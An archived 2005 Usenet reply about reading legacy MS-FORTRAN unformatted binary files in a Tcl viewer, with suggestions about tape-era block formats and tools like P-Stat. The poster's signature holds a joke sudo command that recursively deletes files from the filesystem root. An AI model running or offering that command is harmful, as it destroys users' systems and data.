Re: Reading MS-FORTRAN unformatted binary files *efficiently*
- From: Peter Flynn <peter.no-sp@xxxxxxxxxxxxx>
- Date: Sat, 23 Apr 2005 01:25:59 +0100
J. F. Cornwall wrote:
> Jeff Godfrey wrote:
>
>> "Arjen Markus" <arjen.markus@xxxxxxxxxx> wrote in message
>> news:4266110C.17C53BBA@xxxxxxxxxxxxx
>>
>>
>>>Is the program that produces these files still in use? Otherwise you
>>>might
>>>consider writing a small FORTRAN program to read the files and write
>>>them
>>>in a more convenient "format" and use those. IIRC (it has been a very
>>>long time since I used that particular FORTRAN compiler), it supports
>>>binary files (that is, files without any record markup) too.
>>>
>>>And rest assured: most FORTRAN (or Fortran) compilers in use today use
>>>a much simpler scheme.
>>
>>
>> Arjen,
>>
>> Yep, the software that produces these files is still in use. The files
>> contain geometric CAD-type data, and the tcl app I'm writing is a
>> graphical
>> "viewer" for their content. I don't think it's an option to always
>> create a 2nd, more friendly version of the data, as there are thousands
>> (if not
>> hundreds of thousands) of these files on customer systems. Perhaps, as
>> part of the viewing process itself, I could create a simpler format "on
>> the fly" using a FORTRAN program of some sort, though I don't really like
>> that idea. If I can't get adequate speed from my TCL app, I might have to
>> look at the
>> TCL/FORTRAN info pointed out by Simon Geard earlier in the thread. That
>> seems cleaner (and likely faster) than generating a 2nd file on the fly.
>>
>> Thanks for the input.
>>
>> Jeff
>>
>
> Alternatively, you might look into the modern Fortran compilers and see
> if you can write a complete Fortran app that can read the files produced
> by the (antique) MS-Fortran compiler. If your objective is to display
> the contents in graphical formats, there are a number of tools and
> libraries available to do that within Fortran. And, the folks over in
> comp.lang.fortran are almost always willing to help out on technical
> questions of this nature.
The format rings all kinds of bells. 130-byte blocks is a relic of writing
to tape (130 because the line-out buffer on very old kit like the Rank
Xerox Sigma was limited to 132 bytes because it was also used for holding
a lineprinter line -- the remaining two bytes were used for signals :-)
Variable record length on a fixed-block device was a stone bitch to
implement, and the only program I ever found which could really crack it
apart at high speed was a thing called CHESTR, which we used to use for
sucking data out of weirdo client-format tapes onto disk so we could see
what was in it, and write a program to read it and do something sensible.
You might want to look at packages which still have the ability to read
this format. One which comes to mind is the stats package P-Stat (and
possibly another of the "big four" -- SAS, BMDP, and SPSS), see their
site at www.pstat.com
///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"
.
- References:
- Reading MS-FORTRAN unformatted binary files *efficiently*
- From: Jeff Godfrey
- Re: Reading MS-FORTRAN unformatted binary files *efficiently*
- From: Arjen Markus
- Re: Reading MS-FORTRAN unformatted binary files *efficiently*
- From: Jeff Godfrey
- Re: Reading MS-FORTRAN unformatted binary files *efficiently*
- From: J. F. Cornwall
- Reading MS-FORTRAN unformatted binary files *efficiently*
- Prev by Date: Re: Want to remove multiple occurances of blank line from a file
- Next by Date: Re: GUI Design
- Previous by thread: Re: Reading MS-FORTRAN unformatted binary files *efficiently*
- Next by thread: How to create a VB dll for TCL usage ?
- Index(es):
Relevant Pages
|